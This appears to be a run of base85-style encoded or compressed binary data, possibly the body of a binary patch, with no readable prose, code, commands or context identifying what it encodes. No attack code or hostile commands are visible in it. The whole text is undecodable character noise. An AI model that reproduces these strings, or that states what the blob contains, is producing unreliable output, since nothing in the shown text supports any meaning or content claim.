zX!Im{Fa}7C27%qkK2*LHH4>gKe-+TGl{bHFG}|bnrBLQw3)tWEz^TWNEh_T?-ps-e zQUsN$0rb%v?#)gvS2;IRz^ubvi=@3);m;-MZ<55dZIZp`8f^*cVtRjS)*Ak(UYK9^ zWNa8q`ZAgMYlB(}z*!CB%pZj_5XII^p&H%A{N`!1uWSFC6QE zv2vGXz`ipIU48tA1eVLH*Ynz}!1CQZB>B3*aVNrLgcI+x#v^JGPZPF~*Llz3*~DF? ziD#Bb39c}4i|R6ZP~z{tP6%Fe7eS^3M zxyyj5d^7HNp5MCdX**XX`wxg_PaZ=rj0WSiXm$-9q6WEmLd3M9QY8aH7Kn6pD$1DP zNxEJwh3NW-Sl9DfcKyhB*AI5Op6PU5E|*OiYGE0=r%rP=6e@5Y3YhDe!*BBf?Kx#O@X9@8)d~JO$+Oiw zK#Vqv-X!z=*?tqXgLR%=Sqe+_giBJ7af_@f)C6STIaK4$F z_H-=^o|Nh}UJf*k@`ifUmKt3e8RiBSx;lKTnp3XpTHlp%#UlH1XGE1Gz!P!6<}uShKRL;KY$9DJFmq-%)x#bc=K1F+Aa~s&(Dg_K zhCKA@9-%a8_S-&wR6?0s_-sCSl8o7a^*jq5$OcAuLRR(O++h(D7d{BFs*B(dIZ9*& z>~xrSgDDajJGC^JhDuGPWt9e#E#X1xsmqgfg?63i0qR-giE`tRaw842%IcbjB~AXK z%){4`P#?17xOjA-19at-1?Nvf0mPrF>W^y>sd?_8t6&B{2*R$h?rPTrk%NNsXOacd z^ahFk$lOFlc*&0A&v|{^!TI7fE%;OGaA^w|$~qSYQ54RXpbf$KpYm&ggpu;T3I$*b z$Z~AR=;0g-Kn36b1{`$`3=B_+jMeD>;j!8e9RF*^YdK(;|L*yxbH?eX z(@W>fgZqKw{}6Ar-n)6(yd8u)pxV5>e;LB-ZZF%n9wb?N#h4k|T66YQ{VVE(q)1^?dJ1>1Y&_VPU=;rTxQkK^%_f#q`>FaHt@TvHRz~ z502Lkjp5^@&V?iS2jSz4I2@1N+^P6z7R7pp@v*vZ3?I3j3&)9K!RRm?MR7RpXT#Eo z^zkU+I}+h&8H0RQj#5-I1K*fC6$8*0%0&SsZZqC_Y-Pj`AX`}J5V*!VM}${^c={-R zwkOpCXR*aVY+idvDlP_u?!mB8iuIvr@3q4X?wUOfZIQT_psN`qPctnSlWnL%0=xJ6 z&oM_*Fi>!m-*4vg6fB5b;pVD8ncVhKY!SuQxQn8yY+r9+Z`9w%{I-u(L%#V1Pwrq| zjFn6IiArQ$uILLpnWK_#Lj_liAmtOO1bi&>rv>xiw} zMVD{+zc}_lHoPAuB1|q1o~2j5LmREIww5HYrowcI7vOTmE=t-%9cp{01%AffTii~on$TV-Y}y_&ke{HikC_{9tIBFCoG&^#PD^N_ zHh!3;OL9kv?-D9IPI<_soO!Om$0`2q@`b}2 zJN+8Bh8H9&=M?!2l~zdzHK}o`q={2fkkIn2~K^ozFrr%2|(--o8vAcTu z(`CVjmr;^Gwd#+cf_?lPcktmx63pMtqwq95C3gBsT|4VJo+#%=(uA)nWt1WIJa19G ze^Axia|U^fwq4sla+L&MpDx|)&4_63>Z37d+xdJm+|{{Vy+%k{Gxu^B*ltHqn?pqSy2vPqS|02EMHdjH9auDcY9o(34fy{ccgsb=)bMEJ zo(=mQ%V(#2?^sUCj!m`8Z&Y-n{9D=?%M~B~r^k{ZTqxuDr;d(iKF84P@jRo|c;1pY zp2skr$I5sPh+Hk>d8u^y5XQ4B%^fX=hOB}2UCMjzY0iiaIjX}W`p3;39MK2Vh|r51|6BrpA#iy$z!<-zf}A=6+dS$@k=K=V>%Y?43}WVJlM*N_bmRbJSaA%A6;*a z=~=D$vsP3)ia$Rlj7qujFE>7E!k;pMj8Ts8mU)+>cuuY_B#gj=tKTOYT$^>K?^FNtyM;3R`v?X63--@q?#Q1swceZqJwAa4c!O@QK^%X7odY|iV#`(^83u*6j z-F-}tjd$jC)_Ct{-R-&UKRs77x*cD4*WVZ$&(2?WZ((EC!FBgr?sx9&b$8UH?;Xpg z%-C4Ei0di5D}JTzth=NC@t+>cAH42<9*m9Wzhm8fnypv|NA#HW9URdZe>&^#cq~YH z_=vHLa*r0)qT!;I7%HNG+8wEV604ht`_Fz&@ZZ{B%6VQ9$8*e{m?2~0c(Qs?;`qh0 z)$oe^EjB8#At}%Ed~A~)YUvQpWJ*gjf<;zK4`n2@bdP#bE$!x}TL{V8Hqo5&4-G6& zL!?adcU3k>B+mIsA}((-#m*J~2JOYZ)tM>sEakjaT;%D-a@Xd)m2VB0%keHlFqMDv zlnZm?wYu5dT|kv1T|;Xl7v}HuhK3yIEqqd{_NRO2eFeh;7D#q;3A-w9@DK7#Tvl)J2`Pe)|8Gezk?gQ~n+6UFLjphZG-$=)jC3v$dCyjGM zIb|F?*-cmn|OoW7mKqAgsuDweh}>Mro~_%)v2(bcaaVIjqw)#an(_ogzOvJnXZ0YD2;<^7=5YI~49_EXt*wC-+7Q@dG`-9%LsqYW>ZQ#E+ zUiWH3dvzxKpE&UE?HYrB3T?DYIpWKr2;G$fO?h`iQNiwG!Yl?orT636og@zKeNd~_T>PKu9qXfbSzqlGv&^reYx)b1S6KJ34V*SzbB&V>Dd z3vAd=innk#E&O=cmE&yU{Pk9s7*>ib*sn>%`w!%!7MTCaf&SWf8*dWKyIttp=c5?z z+rZy9UiS^u4IgzH{C~L6#{SaO7>;`HAO0B6=t~_oiu2ZwNNbOe%Jdi8S&zEMVZEGd z7&>n~`sf@R8;eq6*hr^^_-K0d7ZVxjhr@nmyyhn^>rB|!o@>MYX>ttqa$5NDu(z4d ze-*F!tC<=_z3T4D zZ_be?64F|ZOI+S|>(90$Cmb7Z-k7dB*hzANcDCKYhVNn>JcbtHT&6#pIKAyhPG}GI zU&L$PNa!;Lr;}h0JFxeNw{Rsb{CL>gtg}o06~oFw7VMq2&aQV@;>>s(PfXhn^zF}Y zF}i63|Cis!;2%%j;J(w~zs_Ne+v9C~e(`?ckMW28tTVkO$O%6@ttB7D=ZUgu?Xb}Y zdt&Ht18V1y;>t5^Hku!A;r*W_BEvha1sk>EqYl76FkW*tHFqBDe>%&C{pIEuc8>l@ zu(u(@%i}d~nA*8ySUJ{)zFWMFnY0m~1X^PL`)H;O>`&~DVI`}RVLxe{4f`4KHXfVO zKI}36;q->RU5)e4k4S3|7ibZb+9%XnK6r3f3>RI16B@kgN6QDp66J%N&ag4zins8m zixM#*k?Udtg5%F0(>=ubr(M`T*%^b~OU<1J`^9B8>{am=KA!wjU~i*t8yv6sHfjd; z7V5SixLs|5d3U)Def>8v{0!O;^xsD_ZD7ADUT@=toeTTd4(u86Hm;zJIPbTlni&5W zG4_e`&yPrJ4;N)N|Flu}O#3>9++SE}x$OrQjuRV&%@fI$og*Ya> zEm6__`qLilk9-w_J*`t=KdRJ*-4k!&&*%RX*xStEkuPJgmr*nP({V9K@Y_;t+5+=k zPPd`IHQt7KUi;90AI-FZ{e*bEcTjIZhK@O-x0%3Pg-c7r+x}9esI5g$Dx{YZfExUR~&{_s^e!qkM;XtTKJ#o zcN=~Ii1T71*h3Pf9|tb&kv)G_Im#B9Pc*$9vFwI8gHA$ z#!v0{52oo;GF?3+?r=^{j3f2kk9(QV~!(n`MkUf4_HHUDL7XTtu{DK_k% zaEY}IyO$PzJnU^GkWjql&(2b?`x1A>``w)hep^bHEinJ*Q8x6)#M`K$jrO76Kh3m( zebXl~tPJgB*v~1kVZSoo#;a%U5B3-jKu#qnIE0>B=+J*+dQ04NU`~JP;}~{&0r?M^ z(>YqvlB1kmgM2V=A7SHWT)c%P<%ziY$@{fkAH`swM9rNC`!z*2?03go*je^dU~e<0 z7sYG7pPGNroG$on$x$sZKcU!${>=|#_$k;A^xsD_ZD5}luea%p&V{{;GY=mcZ{tSV zh|dNssV2rxowQ&3K3ue!U1k$m$ewdwKfN<)@XX=%C>{`R;Tl?K4--E^o_qHF80>vI z751S8HtZAQEiC2swI2_A8yfufy%_8lQgdhWPp?87`g`JS?Dn<~{rAyK8`ww1>s?5_ zoeBF(4(x9?#qd+SAK3rB{L?!o&nf#Ib5=^Y4F{bVhxAutei#QOx3>bx2eZdX_Bd|b z7Q;mzEySr1!|#l^%Dv?{b_jNVyyiDf>rB{pIItfSZ^1_kKOXirRJi=z7*_gPuy=e% zB>3I;3ZyWih@ivxv+K0aN+_f**gH6qE~-#)iqoXbF43QXzl97gbLiy!8|hpyW7^3J|mD=mDJUtd=<^J zRA-#ORHG7{zZK!}3H^;fJN+Bqs=v;=i^m%yd?hVq-t)nk&izslM#@Lm_!vd=*)xn~5nPn+SYYUIEhcN>CVt2A)~ zL7e>8pC!5{|5eOI-tBm4oEeaqcl-XY%B&;?^nu~z0^+stpg)@){s&RapuuGP+>>ic zb_+eWdDfrhgPorEY$W7QeD=zVo&W#!XS=`ga~g=%v2z;g42N;2oQRNM0BPRP{G^uO zy{UxD-{3Jgp+LOS^zhl77)*RW{lJ#*LtA}6R()4zD9S?PCb^6)rN+(Dp4)hfqajXU zyUa4;q#7#L83#+siTPKST1yZjui+}Fs+~t5*|&WsL>uxq6Zy<#tlsri#i~5Fv87^9 z;Y~eUHFYN?*EVTgx}{Ku%Uhl0jh1>NFS`f3yebZwMBeg7UCx~s|Aphf`1pT;KH!I` zFbaW}2`4C=6K5HgBsp~4057S~1)R6?hDx|fsf(*TINDok)Vhq*3#!&yj58{KbI28S z1xH(~Gb5mQXGUO8;k9}K^Q_WWHkKNrIYO~+Mlh{3FxtCUUL#K{CMp|TTe@ktCpdbn zd_kLIos0S}jQ_=>iqQREdi>EmLv;1Tr7(f7HxZ85B}<`jwaXZ-*1~eu!V_gJ6pk(> z1c+J<%l5Gv3j0=Pl}1nZMpk(SkG57r#lq3itcG?h&^GhTf8i zxOKpEVi>vgm0!B#E~hUfFhWAd=gXp>a zLBxK%s`jR<>_7!v4DB%vD5=@Q4J954j(!lg$ftP=M`!taRb0;OjSQqsK z4~XQrLfjlL*IsaIdbVedV4Gw0q>f+MN+p?FN!kS~tA7MZ+rIIUv^|#I$^tP=v%zw_;VJPATi40@Ca z5`o?dRL>vTv&zVPUs;KZPFVEzip%}G`)b?L5!ub`6A~jH3*YKFszEm)_$+ErLH0}g zto~nCe@kq1unRx14?nIAPyXhzARHtY35?@nf^l3-FfOMoc&BI{_@i_b!Eu8~{B!MGL|6SO}V?%^5%)zqmS`og2Rsb*Z#OpGGGT)n* zzQWaEfd}Q;xjUy#o>M!J=ZFsE`F6wixAkTR@;udnJPSII=kgBZ8PkD0{X38+y8iq7 z{&olQJllahzwSVut2&V9j1J@(*nvE$9mun7-S^|?xenyHrvrIrcOcJM9mq4d19`f2 zAkPPDzrXJ{DiNVdwa)GLhv&60KVW zOD?1FvGOxherCD(nS-?9ui*b3?rQ&CWx;3eB{P2(sy}W5*b`RIE4QaiD&tDTsqWx2 zi}_^gM+%4`$!2UZ|6ZTs6ml1EE36f4IL8hY?ls;lsd?3Wj83SS;i`MY9Ue7jFIL0* zbEW^K#sz~)joEpn#s^%)KH1tUr-zGwZQ<`E`)`i?ZG*>JE5vk3Pld;dR0ofF65u!y zk3Z`p(GLGV_Pzu@iX!`eW|EM}0UeG&&m2>cXC z4~L)zC(%sWaaphRT#r4}|IZ88<#NSL0yzM=T)ET*#C3ZdQ9y+t%KX2tx~FF*nH)gC z<0l_7UEN(({p!6}@4b5UswxzZf2|0EM_>=Z9)w2(9;kQ(9-x(j@#!p2!55t6gYg>< zw?Jtr;rG5)@Jm<)YO(FKidrC_B9d&*#|TgISC<4MdUkC)5S@coGDNfX1JOI?D~Kip zHAgh@XZ;@(JXfjLb#!e5&q;mPYp)dhc)d$ z*{f(sX#W@6?*G46_%emAZQ!uNXH<`VXokbvahi5h9KKfeQ{(XW$-y}MLv=fFI0Fp{ z!QqK{t>dr_oQ*r#BF-+yHvCO-w#d;TIBToFw!m{ABnIQ_Hg`Mlm4QZt;A`XD*6{^d z_|FFwo_ibD(j)q+PorFsT_dAwehz6LJE)S5nPv$`V}zLLXf)Vk)NOagR2=R3rXJ^7 z(k{G?2A{K%orPJcoP}9Q4kp2Q4ZLWhhf_@D|GoOi*XLMGzXl2|g-_ncPA5IRXXO8v zmeJwPNMWN*Bez0dRwbU#t=P)-w;&#MMKwQSo7e?gx9SC-8;`Lj{tKj#X}prR>)_m% z_lj|94!r&vNuLczsrnkS)9myDr`IAWe#ei%k+frc0++ju>tBkG>Tv2jOuOs#6@~(r z8DF-4RkO)88fQv(-u_&aF8ihh-4Ib#EjVP8W8b~JG|nCAH6V7w6}dH{nmvhh*C_d4 zJjML;o(@yLjn&_P`s@9*BUYKgGx`+k?{3#smw@uZZy>om)a27E1kFD%}a@5P?x_qIRV%J;(Zf%3hlo@}LDSUAyzw0{_P zpcm+^(jO8KO2C(9CrlH2TO~c$zl_*bM|;syM;LuH(i~|&4EC);o`v=(dSS3iOIcTP zjWH09V=fSNRUo=>G%6^i^5|hGv(-`ot~cvZ$X&MG{zc$CY&K>>WUo;k^%_QL&IrZb zL^0lyxkt^WRe*}c{I_(4Tww2M{U3w_JAj?8E#+_e{AXUid`udXdS~lOHky%*mo1go zM=qbkON|IFv5eTpm0`T&ac?8^DU4 z$BK359Va@A9AD}|DL0l!xV?tT4ZyHHva;IS4NG*o5V{|&B3wV_9_Cgi?}N`1_&-FS zC1QX+bCCW;(1(0P35-Yx(SXtP1;^;$wD_80Ol{w!jXzSkXTJ? zil{Rcm%Ckguc0T^AcY64Q?ZBCsgPj3Dwn#|U%{lTTWvvtxc^DIqFcR3+>6fgmfos$ zE4D%?hFe)>rG6EQepQSGI7-KIIsqtwV(21&wGpStVQRgQTe%bWmAmAR@dP>P z6prrb1{_1vqg8~XKtI5Nf*GU}Le60PKZxt1xdB|?h;*yCzHdWQT+hLiQ^GaVziv4` z8SATDQMoWO=sHrpUanq;sMkU2wV!%TRIi=YYm|EZ@d>4#@6_u-c2&l_vy+o>OymuU z?{*?wp-0GtTmF$fUcTV3unlnNi8C)jN)=q=aHQct-CA@bJiRVSa7;}$>x9(J7T47= z^1nYe=y)fNRm)4DIO!PqKYt;^A};}lTZ)J{A{S{^Uedfyc$VaiFb_NG$ii_oe-l@ z5$S~AB{(LM^=)Nck}}8B3XFe#K7h*BVZ6O5B4n6^Cd6JxMb8C{ zH@6$c0Zm~vohuku{;9oqynAO8JT9T4=K_!2+YRIH9Zg`|^=!w$h)#wOUVoR~?bw2; zP3H^@rfCg#*>0$2c_hqKSf^zl<3?~SPSV+X$rJH;b!V70k$PQRou>+KeGca2dq;8d zl|7C}HrM6u2cvY3qC)%))_JfElTPsEBsmtR=(q>jv7_ADu^3D4gU_rB91i=KAIMfq z{;~#FWJ5&GVD==w)|o%paoot2VXp!m0e1|d1q;%-GCGQzCH|-+#Obt7eIos&&`(dt zaXnYwkG?Ezlt)-}I!_G~OB?0HVYpd=8;n(9RJg`Mv}}~qkNJF_=P8RLhmKOqF=4}0 zd{Wrr%+K(qIf^oLo^rKNClng)Z3xck%pYFfuqeinpB8y+H*O%qZm6s-{oW*|WDgY2 z&rTJ4WDgNz;bY7}9;0_8<@8>OU%huIeofv~{2IK297V%{wKV)?>uPh%I_Khy+MIDZ zZ#)4x%0y%ltpG0xr*Gu*Wer^U3pnFhLGNIl*vYYYaI`%slq%)$!~3M16mK{A(Wf;c zeuv}5=!AB57TyxYQs>EFVtxeyr~4|x6?PpvV%~%)@&K=-9|X79Q{|jMg@4g1gq)sD zC$VD&oC#|jQa!mwmNzlzKNd1)CD{|@m_W&yD2eG_Z;j10^8U&wFcrmUO6(VIcdjfF zE+TThcXqtPPQ2sFjxf?X$j5GTl?)eLB^l2DrFYJEm=pdTa>Db@OP!Yr&YUFYtU~9k z!IcP$;)$)Fp~B$E%vmYigOA{*GKU{*0ylPtHzSAFT)4J6u%z@pSQ6Oxb7f?mGiR{e zy;|uZaX73tbOTPx1v3{YfFKUGEfh#)+hGB^+B_ZBLE{QwnCxw1`IvT;H^+Z5W zH;K4ZMozlfn}(Z@a8tUNzXT7&&VsZ<9{L@)bUmKRSH7csUqWHWJA^KM06XRX4_PuV zy<2dO@>-midY%rdC(0`A@UD>a&;tk+`9bAlRP5UC;H6GDMp9wtU9iZ(&esD+*{96T zpn$nzmf1Ng%{j_BD;w!?UMxM>C?Dvje1GGQ)c7EFo=VsNZ79?0Xet5uH)Qhs7e8QP z&(pa2d9+12W*;cO@`T3fvAVFVF5j?$>K8v#L|mdgKTu>R#`wgN8$!EM*+ZZ$1l&GH zkbuMfl0gCvyD`&=hb;;?aEmLx-mxE31d*G;N{n@`1sf6TFabxb!vq{9n1BPXOecn! z*o1X1LNP+rB4QoCfa^i5(@elU^-bFX4(GBmsdz>LE)Rmt=;iSn>CM8g-g`NIP2S7! zYw%v&l7M4eaa&)7;McJ(5yTbGs$3CDjq*i!Ogu3FS3gg{pF;{RNl|c+SU8^(!9AJF zNyP!NM4rsKNziByJg#ww{G*OE+KYG@Iz?6XARd9>UzbPeoF#?MlEEHqxui&s5=am1 zz}O14rOjd088+f%>g+J^&9vCR{E5evgorI`nya%*=v$yRmkR>Fi=1@x_+_{u?`eoS zD@2rz=PAk(PMuxmEXnYcs$~>nZwSs9Mw^WZugyk*s77xFej~lZ@T>O@#;?hHA$|>B zli(~#Ggp+Dp~ajf==~+*6h-Fg%{tzske>gtO5@Cu!Kxk`+=SeV6>_UOi@Zx1517^Q zfV}EajhyHG0QFJl-QnknX1a{n;vi#-R}{9m92!Q*yq(x$PN1G`Cm35?hL=!HUUd3q zswttFYC6ftbegK^2`cPYO~1#@sjH^4e=4159!mRF6SlL=_`fml5*HqKY_N%6=z=K9_ zCVnHm>G;)qhv3)by$HVs?|^WsiCI}yNsKwK2w~0{DsvJx{tl-t)JCG`Yp5cbe^_I? z7mqWxi-1TX9yNzEgEad}(_PG{+Km&Ii4!5Awh+=Cij?jW6XYDRZhokVi(G;|VeqeWOMAfEB-q^(16(@ZBF`KoQ5R89;6OZ|*=(wP|D z)?SR-wh(sk8{JI=)ZHNhDqvL0eV1u;yc;?mvgsqtleVzLwVBSkiU}vCvp)E}R?%=& z1cr#l%O(tQ7$kVt1jKwng03$-(raum4rBp^w+KQ6EqyFpznh-o+i%drrumgoDqc^%vLl8 z4an{~2;Mk|>Vg%Me?aEhju)iFw&JQ3RQO|kaBil?I44OQ5&~>s=6QljShCiO=~Ql@ zcoAJv#olxoB6g-rntciK8@=BJlg-Ya2$^$?VsAlugkA&P^>Tv85LgNv<-^!4!nru*O+=N5(}>a7PLBDbi_ze6 zD~TS3Y<|T!v%sBPL>~p^@BQ zaL298AI+`Agjwo3g`ou(uQK%dFoQYEdL51CZc#@=4%FaRnbVP`Z(NKk%xenP7Jd?9{@W`*hZCDAHvc1mFMSL18+`i%P~Jp-evU_e`FYfSM)EVPW+g@? z)?)ILSc}O|O1wzq16R$WpIe)-*4-#ZxV!A?Aov?xDsYRY$- z{A?mLFKk z%8iATtJbu3s1vmXt^E?JA*~H(h@z|y5VMgt^?4;B&Lo9>OB1bKN?!-pJxN>_tKJO0 z1UDEnLkY^}QrZpva*EEb4bH6U?B|h%w6CJGAEp9XABvaZ zYfMso&m`6NOj3QHW?zh~Mz5U;;CMq)*SC|po{FTwduteVeT|~7CDO;(NfMi8@Co(= zbH>~xktyS3C}VGbsAcRX3CDz@#3gL5j7eza20K@T*VdYp3k+kMYU@F5Gv1fw8sinf z2!g%1?eul^bAifqsH~~3?g0tcY*_pA)z#}&RoQ{Mx{_GiudDx)f*Ts^YATkwUhn#k zUsp%Ia)!FP`(J)Gx_U}{J9PDl<-xjoj6-A1x1hJcnjNaEFA3=C|K6v4Nx+xDx8(J2 zqN{0&%CD=hx#J9EW>`&4GXPHS6G)|6^Il8jDEf)eq^H8Eq-PU(-u9A~n19`@KwwxB~q z5JF8yJ*SPtga7ml=AIduX^zE4XkY~g&wQf;OTAH#9 zY^8@yr&U9jw$tk_ZBV^e@*N28p$+tyogC@NPw~B}M_@tLVoeS|^QjJ}SI|KHW_3Ri zMT$}UK%?Fs=a&}=-iblW>2zX#`gVEYX~DDy;XGkrdg(3=CSx<06db&ITHl)){(Dyj zzW2obrZ`Z(w@>*VVk6kt!-ClzZT!)-6h41-{6Tp2p05o+)PYJ@3l``oB?X_J;k{;& z*2d&!-)sr*w}jyRI^g|KN5hpGfa}41;c<~1%lNP3aItcshKrl`yLA#q?%Iw&$kvVGRSsyfYGN}CC9^M`wg5x~p^Q=n|2yK4*>+S9M_Gz@~kFD2>2?6V9 ztcO%;R-(fEYDn&Y>qQsc<1GZPNQE zg<$Af_UVrN?%8Ndu>4Gc^8o&OKRdNkeqIWuYAUOO`ALxz6i#>Qb#Di8+pc@nY1KWy zU3KfC7~EHPjC^a37vU_|zwE5le;R$&yZP+MfJe?!y;-f-dp7#xFQraJZrHfBJoNo; z@B$V)Hu{$IV#=S++|j|G8*g5^Uss9~KM)36-ar$9OkcF5D|+}R6s3B37f>JC^Ofmp z!B>SaQ3`=9Yq0l_ADgRb$fLVRD|;cJm0srGqv`CyIJ|u@9-gDYc>OttaT&I$YX=?+ z0x-V5vnd|23MvIywDO7`1*MNSqqGo0>DhjT8BWz+sHoch0aaV7s9K|?BE~8yH$Ln& zWJXLd=*?FMywzz|2>zElHDpEw1DZl{zCR;4f4D<~^OhY!2>rRiIW7R_KM3@ib!qX-D~^g+bsBQTdH zmFnNr)47C-Y-PEn-69qgjA5%zZ}vpgV`{kz4(Nm>b$+u+@mR;=4Bg$Z=rb^a^~=D( zH)o=7%ij#-`@GeBEy6ao0kBn`CTwd^xMkRi9g7fSzz}yimX5ZVQGrd#9g4UYQB02d z{V5lj-Z&l^fY0cxTzJ`NFI_u?`r#bNA*UooWi>6_`%We zVu3wUJl}TJ>9Vi2U&LNsuDmqjrF_*)O?W+zXpUi3p7Ze5u_#+-Kag$Z$|yQF+s2hW zN7r#&8K|zyo*~Z8o+(bso-Gc~7RBW31y~_+7gzoX-qrEhop521AxLA2M#qBwktSd~ z2%Vr=%cRnb+4e4w_z)pUWYp`tQM8+#4zk4a7_P_bxJW!fcDq zyBRqP?Nk91!+uDr6D`r-mCO3{V+S$$&5DOC5G%+C&eduGqSH>uZC-{;{31r z4W59lA9{tJsaX<@(r_}si%ZCaxMcdLHGCVpw}9_0GcQTO!}qE1H_eG*HqCFMP@F-qiNa&)0$%%#6k7Fx*UU(H>NXAOC+Zo}M`%V0ioi@+ z2knd$3>CzCPzt8XpOn-LaUt$!ipBVyEsnsiD5l_df!GtjFk8MvJ}7u*w(L{V%xs~B zO?b}C7JQYNA;k{ZEu7$}!hXrk4VM>{63lRUJWygrPzh$be4v;vn@~G5UH%6NX1Yuz z(}i1U0AT5M#IxRIP|TM|WYEl)tMK*;<*j1D&|A%d8BpwyCm=`LRt(vUZP3JZUW+v8 zG)1Gy^t#_@a_(qy5bMwIwQ&7p-mMxiYD6rVYFGG$-f^)8hjU+ z%i-T6bHu!2q4^&Z_!WHi)O&B>Xaz3zq^#x2YLUp!5r<@3xQA*eoyR>yt9i1=iZ_}^ ztQV(e-z4_UzKtt;mL3*y8OW5IBPR_@pDEYgK$scHshV&heCYLTY>$q|O zDQRq4dQ~xwt|(0RRala*m#W=zBvpSYr8=<>)#B|CZ*RVArx;D?RBsoldYeq|jC60Z zO1{c`oKbJSWc|x~?HrY4AVvXlZ$$2}Dr_!#N$tyfv87@zpooM^w@;(Z)+ zIbyRt!d&^CxkAhyBRJ{|(yZaBvkFtcK3W}bPqex6Q!LVY!NtO8-ZIILOFkTi@pqa= zu}WBkP?DkqKJjH+#4hxN&JeXn>PLC|3a%V%XSdmcol?+38~`#dxzLJ(MSEc#p_I>1 z89}W`a(fIYZdWp|e+!3eY?d#@cW6F;qr9vV4#82nC4Epv$tn7CqUoFENaW-z*={To zXw~o(+B{_jJY{J-+dM_xk01N&ojV>}ca@(9M_q8LJlHtx40teZQZpVjUBh^ANPq`t zf%BC8N)VN5$z)rgaAoAP{Uvke4>%y@3_0^|xPIH@%t!GZg)@7@JKP#)&P2}EI8#~A zjx9INDQ^xR<>$@Orc>q39#hYNH~Zhzj5h~c8E-mMel_xO{{3gng~zaFt4%KKg6}9? zxaxt{x$rX_!qOTS{uJ_YVYZ(KhruK}H65MuyEEXyffJhXV2Z$a(0!4{gI8*jkhYEa zS?Xxowrf^OYDu9g@lubGx`tkS-y+q%#q?r49lpa|3M;=iRu(Bj)kkfnZLN;vN?Yd*1#dVJp!|kaHrg3Ey!hkf- zm3^+Ha>PvBTe$o8D))KZ{hO53Sn&hEK z@6)_}XcQW~Diw|M9+ce5AUOtM^|Ov7>o*1cAB%0AKFLc-cRs*T&1P(eD-G z6~8(S6$Oo&`=KV=k~CUQ-wDgd@z6iec4aK-{R$d{{9LP z0cXnJ_s{_4bosk$VKe?dnWOM`vc}&|aCP&M_ncoZ*MGC<%(;Fqtj{*Nz7ii&xPI!r zZE^jr$Q#V{w;EdG`he}wM5e#z`bl`+mhR{IhY{s zsPX)-Sf(c~ICJjS!@6ygyI-B}=k7`j!jx|szi&Upa)Eo_ zZ@H-M{b0)_U$b1?v~`hUxis_iyZHC`f0ETg8JbuwQ^|69pDdT-O)ZyM!?6)~3cUV; z;@MZ6|6L2ndA}Z}f&f$Da=T(`vxfn9LK?k$79uy8htE?z`dSVDqFmpIekN{MOgr7> zVy!!`d1pfTb{wOC4Ni{j!3|s96=uECaJKx&GxiZIZFwD%5tG}=&DJX=NX^a| zVZ~}fVR#Fbv<*XOnF}6mPnqUxnN+wRKykUt_%nn1^LD|&)(-^`KK`+G03K#7kqY=4 z6qoeN_zXG1w+8UMYfv-nVeY z`Gc<|E9VFPRlPo|ULRAhE|c=UT)p0{UhT@27ucF1SNJPPvdM8gZo#EO5svLn+;;K@ zpY-5;6Z8=}A!37XKijpchD8k5u$59Z3ZUs#HO0&FkShy+JpL$M(ByBddhdV7zo}=j zG@dxj_~N_T{o;#5@4Lf?7yRA<6%%~_&5+Q0>9WxK6EK2<^Op<@z3)Ce^j^9=^gaTP z)8O)d&S3YNbg)V0#)9%HF|R-pj0IS6K1v#s?fAkVnjBx~#a@o@W5jM)#nxF&K&aE; zqL*<1Znd}5TXa0zcAL{GU?*#wWhy4og4b=bw+9fv>%u7As!req!8t~tW$sSCkfff% z$8_3b22PV6M<+MzmTP#Q529{yGf_8PkSI&}cJXSPG#a2)i6f=_Y@8$q(6B{mFUN5L zZ7~B4NB1z$s=Rbe4K{7FIdcSVWh`n=qHR96c?hzoQGjf<0$GkgM=Ck<0huB}VRQSX z_F2Hmx5ZNg0#RWlphrbS|mQ3TR8@szQo8o$3b#BOTcVgD6@6mHZTf3AYWh&4KSN>)>hzD zT=1QL59>Ke>|k8MF(m;Vq!63V?v@`hv;J{gv;I*)=boT{gaVcWz{UcwIC)e{fJJ2h zurS#717@cF;2(pY7EWr$wuF;+FK91LPM02eEqlOC^M-vUyiULJ6k z>5<;jr#lb9r`yM)6#q)xSx8}_U`&b6!0BK;Nh$EjdynqwQ{~uq+)>rp$!B=`+Iz#c zoGu#Et8mS;$0H6^4}HKiu;5xWA?g;~3PoE5X^Z^n09f3sbOttPA0Rm1nG%Vt_9$Me z^2TEKlL@#Lw#iX{#y+6V9O#S(jP#@&2hLmIy~)8*pz2|L*l&o+9^n$qjYqhy76ee@ zcslHjzm+O_M5*WtdKP1INfYozZ*Q9 zLB8%DpO236$wPE&FMqC}_x%@xMUb&lpFIQzx#g#s1)rP9Q>hHFCKZ*<^Hs7lT7v}bp!H!vdWWd4 z&|28`HPPB8)txH2cgV+=wnFYHn3HUc+-aD-IZblcgWOf6*?J;(PN9d6O2cl8jOK_L zo}&<+`B=_MpS|?_UsInQUfK!~pT4VgBF@6h$!QX?%|3fpXg9C#uZeaG?`eg0dl$A& zyEkYi;GD@@J*IBXoxGKLcci@iPZn7{KfSzlE@_3_hcI8*n!K$lIc;+P#PW7+(yyt{ zuEQ3&e(R^1jg*Q$*%}c~V5;Hl^;!Rsp+QzIzjm*W_WxhhS6SmN^TqtY+Tvp&7Vr7? zzU0}PF2-OL6cTONykGVFS<`d$soA{WE^LLKH>1Gkp9_Dgu!y3L9&S{;f{hAoQ zoyqWBRRTMhP5}$CerZ%Z2YZ5zE!0e4I?!63ZxU(k)RJTq3kvWPS&kT^Nal}PvV_+u zmN5TbfE93VmV>cET`()aDrT&(*v|@!87s767a!=+k#hR@6^fkh3V=J*EZ%>ib8!{hIoIqu2_eCu1@# zh|uBt{w1@|jL<<=bnAWp9MQL1*IyHTlS*2l@4f%i4*Fg*^BmDPylk&S%oACzKZR_M z<~mZg?;iT|knK^}Ke$EnZT74XmIyD~ubgpaEb+6I?L9mHn)-fU>>J!7p&hq}5IVeU zzqa_y2;H`9Pv7pD2s3aKuC(7KUHieYOV>}->$4Hc{R{B;(evA)l&c;SfpouKy-tf( z?xQe$P0t(X%I3<_$lq;cQ;&UV>aib9JtncK$6INvqE0Bjk_9_T&O4 zkha_76*srw8au%otGSz*qgim}7qYztKq)Ot49%T(LvY|IwrPavo79~9sCcDPHo3C^+bjjv0)na!E|{rA+Cbf4N9 zHj#P(wWc4nhAYF;A$Hij+9GVHP=_YXq1jqYXL-SL20B^>pcRX(nzP4@N)OG)b z^5%5~XN5Nd<83yjP0=AV@fSR=9yE*2t(?;+yDleX@q6mI=;fE$q$yp%WiB?DfQEFixC+Z>$D zakIHz%#NvZ@99SsPz!O+>m1D5?Uv`OW*2S5(@g5zWs!2S1=r#U{#o~W$i_e;(kn4Z z$Qr>~!`i^w6Vi~aR@RV2))01N^3%-8>hF$P|8VtJN z`{xnQ7<``;7ka-6G2p@P)3D|t`2J-s^j^UF9xaw<29qg*bD@d90kiHVh!Vb1hTUb6 